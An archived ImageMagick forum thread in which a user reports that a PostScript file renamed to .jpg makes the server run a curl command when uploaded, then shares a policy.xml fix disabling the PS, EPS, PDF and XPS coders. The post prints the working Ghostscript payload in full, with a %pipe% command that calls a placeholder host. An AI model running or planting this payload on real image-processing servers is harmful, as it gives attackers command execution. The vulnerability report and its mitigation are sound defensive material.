Legacy ImageMagick Discussions Archive

use the follow content use a jpg file：

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl http://xx.xx.xx:80) currentdevice putdeviceprops

then upload it，it will trigger exec curl command。how to resolve this fatal problem。。。

Code: Select all

[www ~]$ /home/www/ImageMagick/bin/convert -version
Version: ImageMagick 7.0.7-38 Q16 x86_64 2018-08-21 https://www.imagemagick.org
Copyright: © 1999-2018 ImageMagick Studio LLC
License: https://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP 
Delegates (built-in): bzlib fontconfig freetype jng jpeg png tiff x xml zlib

I compile it use ./configure ,without extra params。

SOS。。。。

my os is :
CentOS release 5.11 (Final)

I found a solution at https://www.anquanke.com/post/id/157513

Code: Select all

vim /home/www/ImageMagick/etc/ImageMagick-7/policy.xml

in section "policymap" add the following content:

<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />

https://www.imagemagick.org/script/security-policy.php

Since most users simply process image compression, I recommend that this behavior be disabled by default in the latest version.

Legacy ImageMagick Discussions Archive

SOS! How to resolve this fatal problem？

SOS! How to resolve this fatal problem？

Re: SOS! How to resolve this fatal problem？

Re: SOS! How to resolve this fatal problem？

Re: SOS! How to resolve this fatal problem？